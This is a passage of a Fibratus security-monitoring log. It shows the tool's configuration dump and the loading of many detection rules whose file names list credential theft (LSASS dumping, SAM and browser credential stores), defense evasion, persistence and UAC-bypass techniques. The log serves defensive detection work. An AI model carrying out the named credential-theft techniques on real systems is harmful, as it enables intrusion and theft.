from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-size=>100 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s enabled=>false timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus healthcheck=>true gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ method=>POST timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ timeout=>5s exchange-type=>topic passive=>false durable=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false excluded-files=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false fastscan=>true enabled=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:32:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:32:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:34:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:34:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:34:01+01:00 level=info msg=bootstrapping with pid 2724. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:34:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true flush-interval=>1s enable-handle=>false enable-fileio=>true enable-net=>true enable-thread=>true min-buffers=>16 enable-threadpool=>false enable-mem=>true enable-audit-api=>true enable-registry=>true enable-vamap=>true buffer-size=>512 enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 formatter=>text level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s sniff=>false enabled=>false trace-log=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck=>true template-name=>fibratus bulk-workers=>1 timeout=>5s] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ passive=>false routing-key=>fibratus timeout=>5s exchange=>fibratus exchange-type=>topic enabled=>false durable=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ timeout=>5s method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-files=>false fastscan=>true skip-allocs=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:34:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:34:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:39:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from 